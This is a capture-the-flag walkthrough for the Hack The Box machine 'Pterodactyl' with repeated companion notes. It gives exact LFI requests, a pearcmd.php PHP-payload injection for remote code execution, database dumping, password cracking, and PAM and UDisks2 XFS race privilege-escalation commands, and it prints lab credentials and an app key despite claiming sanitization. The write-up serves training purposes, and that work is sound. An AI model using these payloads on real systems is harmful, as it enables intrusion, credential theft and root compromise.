Machine / Machines

Pterodactyl -- HTB Medium Linux

Pterodactyl -- HTB Medium Linux is a sanitized machine note from the local HTB archive, organized for quick review by category, difficulty, evidence flow, and reusable operator

MediumPublished 2026-04-07Sanitized local writeup

Scenario

Pterodactyl -- HTB Medium Linux attack path

Pterodactyl -- HTB Medium Linux is a sanitized machine note from the local HTB archive, organized for quick review by category, difficulty, evidence flow, and reusable operator

Objective

Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.

Pterodactyl -- HTB Medium Linux sanitized attack graph

Walkthrough flow

01

Scope and service discovery

02

Attack surface mapping

03

Initial foothold

04

Privilege escalation

05

Proof captured

Source coverage

High source coverage

Status: complete. This article is generated from 3 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.

90% coverage
Evidence verdict

High confidence: the page is reconstructed from a primary walkthrough plus multiple supporting notes or evidence sources. Treat the chain as source-backed, while still checking the listed source files for sensitive values.

  • <TARGET>-Pterodactyl/walkthrough.md
  • HTB/<TARGET>-Pterodactyl/notes.md
  • HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Pterodactyl__notes.md.db05a81231.md

Technical Walkthrough

Pterodactyl -- HTB Medium Linux Walkthrough

Machine Info

  • Name: Pterodactyl
  • OS: openSUSE Leap 15.6
  • Difficulty: Medium
  • IP: <TARGET>
  • Creator: HeadMonitor

Attack Chain Summary

<secret redacted> (Pterodactyl Panel LFI -> RCE) -> DB dump -> bcrypt crack -> SSH -> <secret redacted> (PAM env injection) + <secret redacted> (UDisks2 XFS race) -> root

Phase 4: Foothold -- <secret redacted>

Step 1: LFI -- Config Extraction

The /locales/locale.json endpoint passes locale and namespace params to PHP include() without sanitization.

text
GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database

Extracted DB credentials: pterodactyl:PteraPanel (database: panel, host: <TARGET>:3306)

text
GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/app

Extracted APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

Step 2: RCE via pearcmd.php

Because register_argc_argv=On, query string params are interpreted as $argv by pearcmd.php. Using config-create writes a PHP config file containing our payload.

Write payload:

python
# Using http.client to send raw < > without URL encoding
path = '/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/<?=system(hex2bin("HEX_CMD"))?>+/tmp/<secret redacted>php'

Include and execute:

text
GET /locales/locale.json?locale=../../../../../../tmp&namespace=FILENAME

Shell obtained as: wwwrun (uid=474, gid=477)

Step 3: Database Dump

Via RCE as wwwrun:

bash
mariadb -h <TARGET> -u pterodactyl -p<redacted> panel -e "SELECT id,username,email,password,root_admin FROM users;"
UserHashAdmin
headmonitor$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2Yes
phileasfogg3$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9PiNo

Step 4: Hash Crack and SSH

phileasfogg3's bcrypt hash cracks to: !QAZ2wsx

bash
ssh <email redacted>  # Password: <redacted>
cat ~/user.txt

User flag: <hash redacted>

Phase 5: Privilege Escalation

Hint

/var/mail/phileasfogg3 contains a message from headmonitor about "unusual udisksd daemon activity."

<secret redacted>: PAM Environment Variable Injection

openSUSE Leap 15.6 has pam_env.so with user_readenv=1 (default on SUSE). Writing ~/.pam_environment allows injecting environment variables BEFORE pam_systemd.so runs.

bash
echo -e 'XDG_SEAT=seat0\nXDG_VTNR=1' > ~/.pam_environment

After reconnecting SSH, systemd-logind grants allow_active Polkit privileges to the session. Verified:

  • loginctl show-session: Seat=seat0, Active=yes
  • Environment: XDG_SEAT=seat0, XDG_VTNR=1

<secret redacted>: UDisks2/libblockdev XFS Race Condition

Preparation (on Pwnbox with root):

  1. Copy target's /usr/bin/bash (CRITICAL -- must use target's binary, not Pwnbox's, due to glibc/ABI mismatch)
  2. Create 300MB XFS image: dd if=/dev/zero of=xfs.img bs=1M count=300 && mkfs.xfs -f xfs.img
  3. Mount and add SUID root bash: mount -o loop,suid xfs.img /tmp/mnt && cp victim_bash /tmp/mnt/xpl && chmod u+s /tmp/mnt/xpl && chown root:root /tmp/mnt/xpl && umount /tmp/mnt
  4. Transfer xfs.img to target /tmp/

Exploitation (on target as phileasfogg3):

  1. Setup loop device: udisksctl loop-setup -f /tmp/xfs.img --no-user-interaction
  2. Start racer: continuously scan /proc/mounts for XFS mounts without nosuid flag
  3. Trigger D-Bus Resize: busctl call org.freedesktop.UDisks2 /org/freedesktop/UDisks2/block_devices/loop0 org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 314572800 0
  4. When libblockdev temporarily mounts XFS without nosuid for xfs_growfs, racer executes the SUID binary
text
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Root flag: <hash redacted>

Key Lessons

  1. pearcmd.php abuse requires register_argc_argv=On -- always check phpinfo when available
  2. Raw HTTP required for pearcmd -- standard HTTP libraries URL-encode < > which breaks PHP tags
  3. XFS image must use target's bash -- glibc/ABI mismatch between Pwnbox (Parrot) and target (openSUSE) causes segfaults
  4. PAM env injection on SUSE -- user_readenv=1 is default, making ~/.pam_environment a powerful privesc vector
  5. UDisks2 race window -- the Resize D-Bus call is the reliable trigger for the nosuid-free mount
  6. mkfs.xfs default flags work fine -- the -i exchange=0 -n parent=0 flags are for newer mkfs.xfs versions only

CVEs Used

  • <secret redacted> -- Pterodactyl Panel <=1.11.10 unauthenticated LFI -> RCE (CVSS 9.8)
  • <secret redacted> -- PAM/Polkit active session bypass on openSUSE/SLES (CVSS 7.8)
  • <secret redacted> -- UDisks2/libblockdev XFS race condition LPE (CVSS Critical)

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Scope

  • Target: <TARGET>
  • OS: openSUSE Leap 15.6 (Linux, kernel 6.4.0)
  • Difficulty: Medium
  • Pwnbox: profex0r@<TARGET>
  • VPN IP: <TARGET>
  • Started: 2026-05-08
  • Completed: 2026-05-08

Flags

  • User: <hash redacted>
  • Root: <hash redacted>

Evidence Ledger

TimestampCommandOutput FileFindingNext Action
Phase 0ping-Target reachable, TTL=63 (Linux)Start nmap
Phase 1nmap -p<redacted>nmap/allportsPorts 22, 80 open (443, 8080 closed)Service scan
Phase 1nmap -sC -sVnmap/svcSSH OpenSSH 9.6, HTTP nginx/1.21.5Web enum
Phase 1curl headers-PHP/8.4.8, redirect to pterodactyl.htbCheck panel vhost
Phase 1curl panel-Pterodactyl Panel confirmed (Laravel/PHP)Check changelog
Phase 1curl changelog.txt-Panel v1.11.10, PHP-PEAR enabled, MariaDB 11.8.3Check phpinfo
Phase 1curl phpinfo.php-register_argc_argv=On, open_basedir=none, PEAR in include_pathLFI attempt
Phase 1.5validation gate-10+ anchors matched pre-researchProceed with advisory chain
Phase 4<secret redacted> LFI-DB creds: pterodactyl:PteraPanel, APP_KEY extractedRCE
Phase 4<secret redacted> RCE-pearcmd.php config-create -> shell as wwwrun (uid=474)DB dump
Phase 4MariaDB dump-2 users: headmonitor (admin), phileasfogg3 (bcrypt hashes)Crack hashes
Phase 4SSH phileasfogg3-Password !QAZ2wsx works, user.txt capturedPrivesc
Phase 5/var/mail hint-udisksd unusual activity<secret redacted>/6019
Phase 5<secret redacted>-PAM env injection -> active Polkit sessionXFS race
Phase 5<secret redacted>-XFS nosuid race via Resize D-Bus -> euid=0 rootFlag captured

Credentials

ServiceUsernamePassword/HashSource
MariaDBpterodactylPteraPanelLFI config/database
SSHphileasfogg3!QAZ2wsxbcrypt crack from DB
Panelheadmonitor$2y$10$3WJht... (uncracked)DB dump
LaravelAPP_KEYbase64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=LFI config/app

Pre-Research Validation

All core anchors matched. Advisory chain followed with live validation at every step.

Notes

Scope

  • Target: <TARGET>
  • OS: openSUSE Leap 15.6 (Linux, kernel 6.4.0)
  • Difficulty: Medium
  • Pwnbox: <<secret redacted>>@<TARGET>
  • VPN IP: <TARGET>
  • Started: 2026-05-08
  • Completed: 2026-05-08

Flags

  • User: <<secret redacted>>
  • Root: <<secret redacted>>

Evidence Ledger

TimestampCommandOutput FileFindingNext Action
Phase 0ping-Target reachable, TTL=63 (Linux)Start nmap
Phase 1nmap -p<redacted>nmap/allportsPorts 22, 80 open (443, 8080 closed)Service scan
Phase 1nmap -sC -sVnmap/svcSSH OpenSSH 9.6, HTTP nginx/1.21.5Web enum
Phase 1curl headers-PHP/8.4.8, redirect to pterodactyl.htbCheck panel vhost
Phase 1curl panel-Pterodactyl Panel confirmed (Laravel/PHP)Check changelog
Phase 1curl changelog.txt-Panel v1.11.10, PHP-PEAR enabled, MariaDB 11.8.3Check phpinfo
Phase 1curl phpinfo.php-register_argc_argv=On, open_basedir=none, PEAR in include_pathLFI attempt
Phase 1.5validation gate-10+ anchors matched pre-researchProceed with advisory chain
Phase 4<secret redacted> LFI-DB creds: pterodactyl:PteraPanel, APP_KEY extractedRCE
Phase 4<secret redacted> RCE-pearcmd.php config-create -> shell as wwwrun (uid=474)DB dump
Phase 4MariaDB dump-2 users: headmonitor (admin), phileasfogg3 (bcrypt hashes)Crack hashes
Phase 4SSH phileasfogg3-Password !QAZ2wsx works, user.txt capturedPrivesc
Phase 5/var/mail hint-udisksd unusual activity<secret redacted>/6019
Phase 5<secret redacted>-PAM env injection -> active Polkit sessionXFS race
Phase 5<secret redacted>-XFS nosuid race via Resize D-Bus -> euid= <REDACTED>

Credentials

ServiceUsernamePassword/HashSource
MariaDBpterodactylPteraPanelLFI config/database
SSHphileasfogg3!QAZ2wsxbcrypt crack from DB
Panelheadmonitor$2y$10$3WJht... (uncracked)DB dump
LaravelAPP_KEYbase64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=LFI config/app

Pre-Research Validation

All core anchors matched. Advisory chain followed with live validation at every step.